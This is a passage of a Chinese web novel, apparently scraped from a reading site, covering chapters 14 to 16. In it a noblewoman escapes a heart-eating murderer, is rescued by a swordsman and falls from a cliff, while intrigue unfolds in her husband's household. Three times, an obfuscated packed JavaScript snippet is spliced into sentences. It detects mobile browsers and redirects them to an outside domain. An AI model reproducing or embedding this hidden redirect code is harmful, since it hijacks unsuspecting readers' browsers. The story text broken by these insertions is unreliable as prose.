马鞭高高扬起，清脆的落下，胯下马儿嘶鸣一声开始疾驰，与那马车背驰而去。 晃晃悠悠的车厢里，苏尔茗揉着发酸的脖颈缓缓坐起身，马车疾驰时掀动的车帘，让她看到外面天光大亮，心头一紧。 今日原本是她要去庄子，同她们商议杀死沈万金的计划。眼下，这车窗外的景色却入眼一片翠绿，似在密林中穿梭，车厢颠簸得她几乎扶不住。 高奉在怕？可是方才遇到过什么人？ 苏尔茗看着被马车远远甩在身后的石子土路，静静地蜷缩在车帘边，趁高奉不注意，咬咬牙，从马车上一跃而下。 “你这娘们疯了？！” 高奉的叫嚷声她全然不顾，一门心思地往路边草丛中跃去，落 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“药熬好了？”沈万金一夜未眠，方才回府才打盹小憩一阵，此刻声音十分沙哑疲倦，“药放这，你回夫人身边伺候吧。” 芸娘将木托盘放在矮几上，棕黑色的药液还冒着白烟，同屋里浓浓熏香的白烟搅在一处。 “夫人今日晨起便去庄子上了，不在府中。” 她看着帐内明显并无大碍的箐箐，语气公事公办，眼底看不出情绪。 沈万金听后一挑眉，似乎有点意外，不悦道：“她耍什么小性子？” “算了，莫要管她。既然她不在，你今日就在箐箐这里伺候。”话毕，沈万金苍白着脸咳嗽了几声。 芸娘紧盯着箐箐的目光，发现她眼皮一颤，显然是在装睡。 她面不改色地垂下眼：“老爷，您先去休息，此处交给芸娘便好。” 沈万金点点头，缓缓从床边起身，身子似乎累得有些晃。 他摆摆手拒绝了芸娘的搀扶，回身帮箐箐掖好被角，柔声道：“好好休息，你父母的丧事，我替你办妥。” 床上的人一动不动，眼角忽然有所感应似得，落下一串泪。 沈万金用指腹轻轻抹去，亲吻了一下箐箐的额头，“别怕，以后你还有我。” 芸娘冷眼看着，直到沈万金消失在屋内，她才端起那温度适宜的药碗，掀开帐帘。 她声音冷漠：“姨娘，既然醒了，就该喝药了。” 半晌，双睫如蝶翼般颤抖着睁开，细眉圆眼的脸上带着无辜的神情，眼神懵懂。 “芸娘……你同我装什么？别以为我不知道，你比谁都恨他。” 床边的人似乎愣住，语气古井无波：“姨娘怕是被梦魇着了，说胡话。” 箐箐起身抢过芸娘手里的药碗，当着她的面将那汤药倒进窗边的花盆中，神态自若。 “你若识相，就该替我保密。毕竟，这沈家的女主子，很快就要换人了。” 14. 第 14 章 床边的窗户忽然被箐箐打开，带着寒意的风从外面扑进屋内，吹散了一室甜腻的香薰味道。 芸娘猛地深吸一口气，才觉得自己昏沉的脑袋清醒几分。 她声音染上冷意：“还请姨娘注意自己的言辞，莫要对夫人不敬。” 箐箐似乎并不生气，闲闲地抬起胳膊，单手拎着碗边，等着她去接。 “咚咚。” 两下敲门声，打破了二人无言的对峙。 门外传来大丫头轻声提醒：“芸管事，车马房的何老有事求见。” 芸娘听罢，立刻上前接过空空如也的药碗，漠视箐箐玩味试探的眼神，端起木托盘，镇定地走出了卧房。 门在被彻底合上之前，透过那一缕光，箐箐看到了芸娘攥着托盘发白的手指，似乎有些颤抖。 她倚在窗台上，轻轻一笑：“沈万金，你的好日子到头了。” 另一边，城外的庄子上。 苏尔茗的卧房中，泥炉上的泉水已经再次滚开，赵春花提起小壶将开水冲入茶碗，再将茶碗里近乎无颜色的茶水，添给林蕙面前冷掉的杯中。 林蕙握着温热的茶杯，叹了口气：“这茶都喝了一肚，她怎么还未到？可是今日有事？” 屋内只有小泥炉中炭火爆开的噼啪声，听不到院外一点动静。 赵春花匆匆起身去卧房门口，打开门缝往外瞧了一眼，院内空无一人，只有半焦黄的落叶打着旋落在庭前。 她关上门往回走，皱着眉呢喃：“小饭馆客人们聊天，没听说沈家出了什么事。” “沈家？”林蕙低头沉吟。 她想起昨夜医馆临关门前，忽然收诊了一个病人，恰逢城中王夫人生产。 她与那病人正巧错过，见到了送人过来的马车，有些眼熟。 “那沈家的马车，可是有海棠图样？” 赵春花小口喝着茶，点点头：“是呀，先前你不是坐过一次吗？这么奢华的马车你都不记得！” “糟了！”林蕙将茶杯往桌上重重一放，洒落的茶水将她手背烫得瞬间发红，仿若未觉。 “昨夜有个沈家的病人来医馆，我今晨从王家出来直奔庄子，竟将此事忘得一干二净！” 赵春花连忙从怀里掏出帕子，按在林蕙的手上，语气同样焦急：“你可瞧见了？是苏姐姐？” 林蕙摇了摇头，“我走前只看到个背影，艳粉色的衣衫，不可能是她。” 二人沉默许久，泥炉里的炭火渐渐熄灭，偶尔响起几声窗外的鸟鸣。 赵春花像是下定决心般站起身，抄起自己的帷帽，熟练地戴在头上。 “我命人去沈家瞧瞧，就说她预定了我的雅间。若有消息，我叫小二去你那里走一趟。” “好。” 林蕙将案几上的茶杯摆好，伏在案几上闭目小憩，待赵春花走后许久，才缓缓起身离开房间。 秋风中天高云淡，日头格外热烈。 不知过了多久，先前疾驰进恩自县城的两匹快马，追着沈家马车的印痕，一阵风般消失在官道上。 陆远瞧着那车轮的痕迹直往小路上去，心头不好的预感逐渐放大。 “主子，方才你到底瞧见了什么？这么着急从府衙里出来？”竹年在马背上气都喘不匀，缓了许久才开口问。 “方才那沈家的车夫，就是高奉。”陆远的声音稳稳传来，砸下一句惊雷。 “什么？！” 竹年想要再细问，却见陆远沉着脸，手握马鞭将马儿抽得一声惨烈嘶鸣，低声道：“乌岚，再快些，她有危险。” 黑色的乌骓马身轻如燕，自密林中穿梭而过，转眼间便看到了那辆在密林中飞驰的马车。 陆远的目光紧紧锁在车厢，见那车轮被石子卡住高高颠起，他立刻拧眉去看地上的车辙。 车辙印变浅，马车上空无一人！ “吁——” 乌骓马背高高扬起，并未发出惊动山间鸟儿的高昂嘶鸣，训练有素。 陆远策马转身便往来处去，“竹年，你去截停那辆车！看看是否有物证！” 竹年领命，二人迅速分头行动。 林间小路的车辙印被马蹄践踏得有些凌乱，早已分辨不清人是在哪处下了马车。 直到陆远眼尖地发现草丛里挂在荆棘上一寸的衣料，细腻有光泽，正是苏尔茗往日常穿的锦缎。 他飞身下马，直奔那处似乎刚刚被闯入的灌木丛中，看见不远处一滩红褐色的鲜血，瞳孔一缩。 那血迹十分新鲜，只有一小块飞溅，滴落的血迹也并不多，说明伤者受了轻伤，尚不致死。 沿着血迹的树丛中有明显拖行痕迹，他拔出手中长剑，毅然前行。 “我定不会让你有事。” 密林里，只能瞧见不规则的光斑，和不断向眼前袭来的带刺灌木。 苏尔茗的头发被高奉扯在手里，不受控制地被拖入密林深处，腿上流下的血缓缓拖成一条细长的引线。 “玛德，又一个疯婆子。”高奉一边骂，一边往山上走，“还好老子提前有准备。” 走到半山腰的一处开阔巨石，他终是扯得胳膊有些发酸，将苏尔茗狠狠掼在地上。 他看了一眼她狼狈的两只脚，已经寸步难行，再拖着她只会成为累赘。 他凶恶地啐了下，将背上鼓鼓囊囊的包袱放下，拔出剑，用剑尖挑起她的下巴。 “要不你就死在这里吧，用你的心肝继续陪我上路。” 苏尔茗身上早已痛的麻木，挣扎着缓缓挪开半寸，扭头避开那剑锋。 比起沈万金对她的暴行，此刻她仍旧可以保持清醒，“我听闻，你只吃阴时之人。可我不是。” 高奉对她此刻还能挣扎十分惊讶，脸上生出兴趣，蹲下身子平视她。 她寸步不让，盯着他的眼睛。 半晌，他扯出个诡异的笑容：“你比她们都聪明，也更想活。” 高奉摘下腰间的细绳，套在她的脖颈上，提起来便往不远处那棵老树上一甩，三两下捆在了树上。 “可你，没有活的理由。我就算不吃你，也不会放你回去。”他一屁股坐在树旁边的巨石上，将一根草枝塞在嘴里，神态悠闲。 “死了却不吃，眼下着实浪费。” 他弯起膝盖，脚踏上□□的巨石，将手中的剑在石头上简单的磨了几下，剑锋对准她。 “放心，一下就好。” “你为什么吃阴时之人？我听闻平原县曾有一个奇女子，可窥阴阳、看命格、观前世。”她脸色惨白，平静地看着那剑锋。 苏尔茗被麻绳死死地捆在树上，反而减轻了两只脚同时落地的痛楚，她细致地观察高奉的表情，手里悄悄摸上麻绳的束结。 高奉面目有一瞬间狰狞，而后淡然一笑：“奇女子？吃起来同其他人并无不同。” 苏尔茗暗自心惊，发现剑尖停住后，她继续大胆试探：“她是你妻子？” “你倒是聪明。”高奉将剑鞘杵在地上，长叹一口气，眼神瞥过来时，她手上立刻停下动作。 “她说我前世作恶多端，此世以后的六世，都将轮入畜生道。除非我在这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382621|183729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世洗心革面，才能被原谅。” “可我凭什么信？分明是她红口白牙诅咒我，想让我按她的想法活着，做梦！” 苏尔茗看着陷入恩怨中的高奉，耳边传来几声突兀的鸟鸣。 她装作不经意往来时的方向瞧，空无一人，在这深山老林里，能救她的只有自己。 她眼神还未收回，剑光先至，横在她眼前。 “我说过，你聪明。”高奉“呸”地吐了草枝，利落地站起身，将剑缓缓靠近她脖颈上，“但不意味着我会放松警惕。” “故事听够了？上路吧。” 他手腕一抖，剑光直取她颈间。 苏尔茗在刹那间挣脱了麻绳，用力一蹬树干，狠狠地向另外一个方向摔去！ 她面朝着神色讶异的高奉，完全顾不得地上有锋利的石子，准备咬牙忍痛，借机将手中的金簪脱手而出！ “叮！” 金簪被打落在一旁，斜钉到一旁的树上。 “我的耐心耗尽了，苏尔茗。”高奉阴沉着脸，走向她。 他双手握住剑柄，将手中的剑高高举起，狠狠向下一戳！ 苏尔茗正想用手握住剑尖，却听耳边呼啸而来的风声，直冲高奉项上人头！ 她火速就地一滚，却忽然摸到巨石崖的边缘。 卷起的石子，顺着方才的力道，坠入被树叶遮挡深不见底的山下。 眼前忽然多了一青袍男子，拦在她前面，出招皆取高奉要害，硬生生将他逼到另一处。 苏尔茗眼中神色复杂，张了张嘴，才发现她并不知他名姓。 陆远趁机扭身将她扶起，看到她右脚脚踝肿胀如拳，左腿上还有尚在淌血的伤口，声音带着温柔的安抚，“我带你回去。” 苏尔茗鼻尖一酸，错开了他担忧的眼神，点点头。 “得罪了。” 他抄起她的胳膊，将大半的重量都倚在他身上，利落地将她背起。 他听到她因为痛而隐忍的呼吸，再看向眼前持剑相向的高奉，胸中多了一股无名火。 苏尔茗伏在陆远的背上，男子炽热的体温让她苍白的脸色恢复点血色，陌生又熟悉的淡香萦绕在鼻间，此刻竟觉得安心。 她绷住身体，尽力让自己不要影响到他。 抬眼一瞧，却见高奉从不离身的包袱不知何时不见了。 不远处响起细微的动静，立刻引起了陆远的警惕，但为时已晚。 高奉从背后拿出两个巨大的火药，引线即将燃尽。 “哈哈哈去死吧！”他开怀大笑，直挺挺地向他们走来，眼底只有嗜血的疯狂。 “这时候我还能再拉两个垫背的，那婆娘能说会道又奈我何！” 陆远下意识向后退去，想要足尖一点跳离崖边，但点燃的火药袭来，爆炸声在下一瞬响起。 仿佛天动地裂，崖边的巨石顿时被炸得四分五裂，浓白的尘烟瞬起，飘出一股焦糊的气息。 巨大的力量裹挟着飞石将陆远狠狠击退，混乱中臂膀不知磕在了何处，将苏尔茗震得手一松。 “啊——” 二人从悬崖掉落，不受控制地向下摔去，陆远将长剑插入崖缝却并不能完全稳住身形。 背上的人渐渐力竭，慢慢从他肩膀滑下，他立刻勾住崖边上的藤蔓，反身死死地擒住她的手臂，“抓紧我！” 苏尔茗抬头撞进陆远焦急的眼中，却眼尖的瞧见藤蔓禁不住两人的力道，开始从崖边断裂。 被人护在怀里坠崖的时候，她心里只有一个念头。 救苏晴。 15. 第 15 章 “噗通——” 苏尔茗只觉得冰冷的水自四面八方将她包围，入水的瞬间水面好似一块铁板，将她拍得头晕脑胀。 她在晕眩中下意识想要呼吸，却呛入了冰冷的河水，让她鼻间迅速布满刺痛的酸意，四肢开始下意识挣扎。 男人的声音隔着水面听不太清，直到她被从水中捞起。 “苏尔茗，坚持住！”陆远额间还在渗血，单手将她搂在身前，想要往河岸游去。 她艰难地动了动唇，却像是失去了所有力气一般，慢慢随水浮沉。 她身体逐渐被冰冷的河水夺去体温，眼皮似有千斤，迫切地想要合上。 陆远咬牙拼命地向河岸游去，但奈何上方瀑布不断灌入，水流湍急，推着他们不断向前。 水中时不时还藏有巨石，伏击在暗处划破了他的左腿。 他正觉得怀中人太过安静，在间歇中低头看了一眼，发现她眼神迷蒙，双眼将合未合。 “苏尔茗，醒醒！” 他不得不将她搂得更紧，用手去掐她的人中。 此刻若是昏迷，那生还的希望将更加渺茫。 他分心去将她唤醒，却瞥见前方河流像是从天边断开，俯冲而下！ 陆远暗骂一声，双手死死地箍紧苏尔茗，随湍急的河水一同坠落。 “咚咚。” 暮色西沉，沈家门房的小厮正打算去伙房领吃食，却见一个搭着白布巾的店小二上来敲门。 小厮急着去吃今日主子们午膳吃剩的荤菜，不耐烦地问道：“你找谁？” 那小二个子矮小、眉清目秀，先恭恭敬敬地一拜。 说话却又急又快，声音尖细：“我乃城西巷里香饭馆的伙计，沈夫人在我们那定了今日的雅间，却未见人到，老板叫我来问问。” “巷里香？”门房小厮咂摸一下嘴巴。 前两天还有同乡夸过他们的菜色便宜好吃，他便软和了态度，“你等等，我去给你问问管事。” 门房小厮一溜烟闪进了垂花门后，消失不见。 后院中，灯火逐渐亮起，将小路照的通明。 芸娘正忧心忡忡地沉思，她手里拿着管事的账册，却一页都未翻看。 她想起何老说今日他还未起身，马车便已经从府中出去，着实异常。 况且夫人每次去庄子上，天黑之前一定回家。眼下已近晚膳时间，莫不是有事在外用膳？ 她忍不住想到箐箐的那句话，心中渐渐烦躁。 “芸管事，门房说外头有个饭馆小二求见，说是夫人预订了今日的雅座，人却未到。”大丫鬟匆匆过来通报。 “什么？”芸娘蹭地一下站起，将账册重重地摔在一旁的石桌上，箐箐那句话忽然在她心底生了根。 她那时笃定的眼神和语气，绝非善茬：这府里的女主子，很快就要换人了。 芸娘当机立断：“你拿一锭银子去回绝那小二，就说夫人临时有事。” 大丫头一愣，默默应下，只见芸娘怒气冲冲四地往箐箐院子方向去了。 门房的小厮得了准信，将那锭银子转交后，正想喜滋滋地送走小二，去伙房用膳。 小二恭敬地接过银子，又补了句：“今日劳烦小哥，若是往后来店里用膳，小店定多送两个小菜。” 小厮脚底下忽然就打了个转，三两步迈到小二面前，耳语道：“我今早瞧着夫人天不亮就出去了，应该是有急事没回，并非故意爽约。” 小二转转眼珠，脸色依旧公事公办：“小的明白，多谢。” 像是着急回禀一般，店小二脚下生风地从沈家门口离开。 半路上，忽而扭头转进一个小巷，正是赵春花。 她将小厮的衣衫一脱，胡乱塞进包袱皮里，往身后一挎，一脸焦急地巷子里横穿过，直奔城西医馆。 医馆门前所剩病人不多，赵春花破旧衣裙戴着面纱并不显眼，她直奔堂内尚在诊病的林慧。 半路却被一个白胡子老者拦住：“这位姑娘，可是有哪里不爽利？” 赵春花眉眼间全是急切，她见林慧往此处一瞥，轻轻摇了摇头，瞬间变了脸色，一副愁苦相。 声音包含羞涩与委屈：“大夫……此病，我有些难言。可否让我找那女医瞧病？” 舒柏瞧着那姑娘杀气腾腾地直奔林慧，还以为出了大事。 没想到翻书似的变脸，眉毛一搭，连带着左边眉头的小痣都有几分委屈，也不好再多阻拦。 “那，姑娘请便。” 赵春花抱着包袱默不吭声地等上一位患者离去，才慢慢地坐在林慧面前，假模假样地伸出一只手。 “大夫，我癸水有些不准，先前走了，就没再回来过。” 林慧伸出去准备把脉的指尖一顿，脸色瞬间变得严肃起来，点点头。 林慧为她开了几副药，像往常一般叮嘱几句病患，将人送走。 舒柏有些不放心地走过来问：“方才那个姑娘是何病症，可棘手？” 林慧垂下眼，将眼底担忧的神情遮住，摇了摇头，“只是普通的癸水不调，她有些担心罢了。” 她不紧不慢地将东西收起，缓缓看向门外已经亮起灯火的街头，心乱如麻。 城中夜色尚有灯火点缀，而城外某处的河水将昏暗的暮色，照在岸边两个昏迷的人身上。 陆远扶着额头缓缓坐起身，那青色的衣衫如今卷着泥土变得有些污浊，头上的玉簪也不知何时被冲散。 蓦地惊醒般，连忙扭头去找苏尔茗，直到探到她一丝微弱的鼻息，才长舒一口气。 他将衣摆利落地撕成条，长发随意用布条一束。起身将苏尔茗扶起，轻拍背部，直到她将呛入的水咳出来。 苏尔茗缓缓睁开了眼，她脸色苍白，眼神懵懂，声音带着干涸的沙哑：“我们……还活着？” “我会带你回恩自县，放心。”他从怀里掏出一个桐油纸的包裹，取出一瓶伤药，想要递给她，尽快处理伤口。 苏尔茗手撑在地上，连坐起身都很勉强，想要接过药瓶却在将要触碰到时，扭到伤口缩回了手臂。 她最终抿抿唇，缓缓伸手将裤脚挽起，露出被水泡得发白的狰狞伤口，神情无助。 陆远叹了口气，用拧干的布条替她清洁伤口的沙石，小心翼翼地观察她的表情，尽量轻柔。 随后，他擦干净指尖，挖出一块药膏，声音有些艰涩：“这药需用手涂抹，苏……沈夫人……请恕在下失礼。” 沈夫人的闺名他曾暗地里打听过，可这并不是光彩的事情，瞬间便改了口。 但她反应似乎有些迟钝，像是没听见似得不吭声，只愣愣地看着那药膏，缓缓点了点头。 他指腹将那药膏捂得半热，涂上的时候能感受到指下似冰一样冷的皮肤，令人生忧。 这药涂上去巨痛无比但效果甚佳，便是竹年经常受伤，每每涂药还要闷哼出声，但她一声不吭，动也不动。 半晌，苏尔茗轻声地问：“你叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387912|183729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么名字？沈家……往后定有重谢。” 陆远手上动作未停，瞥见她衣袖垂落至肘间，不经意露出小臂上的伤痕，话到嘴边改了口：“我叫竹奕，是个打手，听闻平远县不太平，本想来碰碰运气。” “夫人，可要考虑雇我？” 苏尔茗呆呆地盯着他涂药的动作，她浑身发冷，那指尖的温度就像是她的救赎，但却只能让她温暖一点点。 耳边嗡嗡的声音像是隔着水雾，她胡乱点了点头，慢慢地伸出手抓住了那炽热的手掌。 陆远看到她点头答应，正要说些什么，那冰凉无骨的手便勾住了他的小指。 他动作一顿，便见苏尔茗身体猝然卸力，晕了过去。 陆远连忙将她扶起靠在自己腿上，把她双脚的伤口涂好药膏，用布条缠好。 自己的伤口也胡乱地处理一下，将她抱起来便往河流下游走去。 此处地势开阔且有水源，容易碰到野兽，也就意味着定然有猎户。 秋日深林里夜寒露重，渐渐地，他感受到怀中的苏尔茗有些发烫，需得尽快找一处地方生火驱寒。 没过多久，他顺着山脉找到了一处矮小的山洞，看起来像是猎户们歇脚的地方，洞内只有一些干草和陶土的炊具。 他小心翼翼地将苏尔茗放在干草上，只留了足够她一人歇息的位置。 剩下的干草被放在一旁，用桐油纸包里的火折子点燃。 山洞背风，顷刻间温度便升了起来。 陆远伸手探着苏尔茗越发急促的呼吸，轻轻地将掌心贴在她额间，温度异常的烫手，将她的脸熏成病态的红。 他望着她身上的湿衣，还有透过衣裳刮蹭的大大小小的伤口，陷入两难。 她已是她人妇，而他此番言行皆已逾矩，便是想要为此负责也无门。 可眼前救她的方式，却只有让她先扛过这一夜。 火光将他长长的的影子盖到苏尔茗身上，一半弯折在山洞的洞壁上，此处只有他们二人。 他指尖颤抖着碰到她手背的皮肤，迟缓的动作抚上她的衣袖，下一瞬，他逃离般转身出了山洞。 苏尔茗烧得意识有些昏沉，她梦到了自己幼时习字偷懒被父亲打手板，还有出嫁前爹娘喜气洋洋的神情……以及，妹妹天真无邪的笑脸。 “嘶……好痛。” 爹爹的手板打得她浑身都好痛，尤其是双脚，像是断了一样痛。 她做错了什么事？自她懂事，爹爹再也未打过她。平时给她上药的人，只会是心软的娘亲。 她开口撒娇：“娘亲……我好怕，沈家……” “沈家待你不好？” 是男人的声音，却不像爹爹。 她眼里淌下大颗的泪珠，不断抽噎着：“别让妹妹来……折磨……” 她浑身冷得发抖，摸索着找到娘亲的袖子，拼命想往温暖的地方靠近，往最热的那处去。 “不可以过去。”陆远将她拦在火堆旁，却顷刻被她缠上，嘟囔着他听不清的话语。 他不过出去打了碗水，跑着回来就发现她在哭，哭得让人心里一揪。 沈家，似乎让她吃了很多苦。 陆远低头看着自己被她扯烂的衣衫，最终将她湿漉漉的外衫脱下，晾在火堆旁。 隔着干草将她抱起，拢在怀里，借着火堆的温度，为她取暖。 他想，今夜这件事，他会烂在肚子里。 即便不能担负责任，也要竭力护她平安。 16. 第 16 章 夜色渐深，沈万金处理完箐箐家的丧事，自外面回府用晚膳。 他脸色有些阴沉，未去花厅，反而脚步匆匆直奔后院。 院子里灯火通明，正巧碰见府医身后跟着两个丫鬟，丫鬟手中托盘上飘出一股药膳的香气。 他大步上前，拦住那府医：“箐箐身子如何了？她今日用了几次药？” 府医见到是沈万金，想要恭恭敬敬行礼却被免除，便如实说来：“姨娘身子尚可，只是突遭变故导致心神不宁、过度悲伤，白日里有两次险些哭晕过去。” 他捋起袖子，颇为得意地回身介绍那丫鬟手中的药膳，“这鸡汤有安神功效，另一碗山楂羹可开胃消食，让姨娘早日恢复安康。” 沈万金目光落在眼前谄媚的府医身上，忽而想起昨夜城东医馆里那白胡子老者，便问道：“那医馆开得药可给她继续喝了？” 府医身子一顿，登时冒冷汗：“姨娘说那药太苦，不想再喝……” “胡闹！”沈万金少见地露出怒色，吓得府医立刻躬身请罪。 他摆了摆手，指着那药膳：“将这些先送去，立刻把药熬好送过来！” 话毕，他大步流星地进入了箐箐的院落，正瞧见芸娘在门口候着。 他下意识想起苏尔茗，随口问道：“夫人还未回？” 芸娘恭敬地一福身，将店小二前来问询的事情说了，末了补了句：“夫人甚少在外用膳，可是被什么绊住了手脚？” 沈万金正要推开门的手缩了回来，走到芸娘面前，声音有些莫测：“你带着两个大丫鬟去她屋里瞧瞧，看看她到底耍什么花样。” “留二人在此伺候，我今晚在此用膳。” 芸娘眼神平静，应声而去。 沈万金急切地跨过门槛，就见帐子里半坐起个纤弱的人影，他连忙上前几步，将人扶在怀里。 “你可好些了？”他低头瞧着箐箐红肿的眼睛，脸上还挂着未干的泪珠，用指腹轻轻抹去，“既然醒了，怎的不叫人服侍？” 箐箐伸手捧着沈万金替她擦泪的手，将脸颊依偎进他的掌心，轻轻地蹭了蹭，声音带着哭腔：“习惯了院子平日里的清静，妾听到老爷声音，就想着赶紧到门口去迎。” 沈万金听出这话里浅浅的责怪之意，也并未生气，只柔声道：“那调两个大丫鬟给你，这几日让芸管事也多替我关照些，可好？” 箐箐缓缓地摇了摇头，双手溜进他的衣袍里，环抱住他结实劲瘦的腰身。 撒着娇，晕湿了他胸前的衣料：“不要，妾只想要老爷。妾……也只有老爷了。” 沈万金眉眼温柔地抚着箐箐的长发，拥着她的肩，并未答话。 直到不远处的小桌上摆好了晚饭的膳食，他一把将箐箐抱起，落座在鼓凳上，稳稳地将她放在自己的腿上。 沈万金颇有耐心地哄着：“今晚我陪你用膳，你乖乖吃药，快点好起来。” 箐箐扁扁嘴，将眼泪一抹，露出个柔柔地笑：“好。” 一旁，大丫鬟将盛好的汤碗晾到适宜入口的温度，再放到沈万金面前，眼神不经意地扫过二人的亲昵，暗自心惊。 在苏尔茗那里伺候，夫妻二人从来都是相敬如宾，更别说沈万金从不陪姨娘用膳。 这后院，怕不是就要变天了。 正当她想着，退去一旁，便见芸娘急匆匆地从院外而来，手里拿着断成两截的藤鞭。 “老爷，夫人似乎出事了！” 沈万金手里拿着瓷勺正在喂箐箐喝汤，闻声脸色一沉，冷声道：“芸娘，你的规矩呢？” 芸娘心头一跳，“噗通”地跪在地上，磕头认错：“奴婢等下自领杖责二十。” 沈万金不紧不慢地又盛起一勺，缓缓送入箐箐的口中，再轻轻吻掉她唇角滴落的汤。 箐箐的拳头轻轻敲在他的胸口，不痛不痒，娇声软语：“老爷……这么多人看着呢。” 他笑着睨她一眼，松了手。 眼风扫过两边服侍的大丫鬟，一人立刻上前扶起她，一人熟练地给她披上外衫，将她送回内间。 沈万金慢悠悠地拿起温热的布巾，擦掉唇角的油花，见箐箐消失在内间，这才朗声问：“发生何事了？” 芸娘闻言膝行几步，将手中断开的藤鞭高高举过头顶，呈到他面前，“老爷，屋内发现了此物。并且，夫人所有值钱的首饰全都被洗劫一空。” 他垂眼看向那藤鞭，伸出手摩挲那锋利的断口，刮得指尖发痛，想起张县令上午提点过他的话。 “京中来人，说平原县杀人案的嫌犯流窜到我管辖的领域。昨夜剖心肝之事，定与那贼人脱不了干系。” “眼下他人并未落网，还请沈大人莫要声张。县衙昨夜发现火情，派人灭火。此事只因烛台掉落起火，文家夫妇不慎小心，葬身火海。” 张县令拍拍他的胸口，意有所指：“恩自县，可不能乱。” “老爷？”芸娘疑惑的声音打断了他的思绪。 沈万金松手将那藤鞭放回芸娘手里，半晌，下了定论：“许是她一赌气回娘家了，过几日我亲自将她接回。” 芸娘瞬间错愕地抬起头，直直地望进他眼睛里，口中似不敢置信地喃喃：“夫人她……天未亮就出门，车夫也不是何老……” 沈万金粗暴地打断她，眼神阴鹜，“芸娘，你是谁的人？” 她无意识地吞咽着唾沫，声音涩的发紧，最终跪地俯首：“奴婢省得，老爷若需要安排车马接回夫人，还请吩咐。” 头上传来沈万金拂袖的动静，他吹了吹茶水，慢慢喝下，声音似恩赐般吩咐：“箐箐这边还需要你，那二十杖先欠着，再有下次，一起清算。” “下去吧！” 她干脆利落地磕头谢恩，强撑起跪得有些发木的膝盖，缓缓出了门。 她低头看着手中两节藤鞭，手忽然收紧，被扎破掌心也并不松劲，像是在艰难抉择。 半晌，她又换上那副平静的面孔，带着身边的两个大丫鬟离开，“走吧，先收拾一下夫人的房间，今夜回这里伺候。” 日夜交替，晨光照入林间时，零星的光斑也透进了山洞洞口。 苏尔茗眼睛被洞口的光亮影响，缓缓睁开了眼。 她手臂撑着坐起身，看到脚腕的伤口都被处理妥当，身上细碎的痛苦也减缓许多。 一件青色的衣袍从她身上缓缓滑落，露出她身上整齐且干燥的衣衫，微微放下心。 她静静地环顾这个矮小的洞口，空无一人，只有眼前刚熄灭的火堆还散发着温热的余温。 她挣扎着想要起身，却发现双脚根本使不上力气，光是想要挪个位置，将足以让她浑身冒汗。 “你醒了？” 洞外忽然传来声音，一个人影背着光向她急切地走来，手里还捧着些东西。 直到那人进入洞中，苏尔茗才认出他是竹奕，即便长发散落、衣衫狼狈，依旧自有刚正的风骨。 “你……我以为你走了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394781|183729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆远将手中的野果放在干草上，挑出个颜色最漂亮的擦擦干净递给她，语气轻松：“你昨日说要雇我，我为何要走？” 雇他？ 她深思一番，脑海中只有模糊的印象，记得他是个打手。 她视线落在他淡青色的中衣上，扭身将方才身上掉落的那件青色外袍递给他，接过了野果。 她慢慢啃了一口，清甜里带着外皮浓重的涩味，在此刻却像珍馐美馔。 “多谢你。”她不打算戳破自己遗忘雇佣一事，反而更有利她，“既然我是你的雇主，等下我们便启程上路，我要尽快回恩自县。” 她晚一日回京，便少一日计划的时间。 妹妹苏晴等不起，算上今日也仅剩五日，便要嫁入沈家。 倘若她不在，届时无论爹娘是否愿意，妹妹都会被沈万金强行娶回。 她三口两口将手中的果子吃完，端起陶碗也不顾是否干净，闭着眼饮牛一般喝了半碗水。 她用袖子将嘴角一擦，眼巴巴地望着竹奕。 陆远接过外袍后，起身走到一旁方才穿好，就见苏尔茗双眼发亮地紧盯着他，他下意识摸上自己的腰带，声音迟疑：“我……可是有何不妥？” 只听她低声重复：“我要回恩自县，越快越好。” 山洞内光线弱，他晦暗不解的表情隐在暗处看不分明。 他垂下眼，声音干涩：“好。” 陆远随意吃掉两个果子，将剩下的塞入袖带，而后蹲在苏尔茗身前，露出宽厚的脊背。 “你上来，我背你走。” 身后静默了一瞬，开始传来窸窸窣窣的动静，最终一双手臂搭在他的肩头。 苏尔茗伏在竹奕的背上，他双手攥拳托住她的腿，稳稳地往外走。 洞外的光线变得十分刺眼，她耳边响起竹奕的温声提醒：“闭上眼。” 她下意识闭上眼，却脊背挺得板直，克制着自己的身体，同他保持些距离。 陆远感受着她的僵硬，并未多言，闷头继续沿着河岸往前走。 二人沉默着，日头顶着晒得人发烫，才见到远处有一个木屋。 木屋门前挂着些野物的皮毛，还有石块搭建的火堆，火堆里的黑灰十分新鲜，像是方才还有人在此。 有人，意味着他们将可以确定这里是何处。 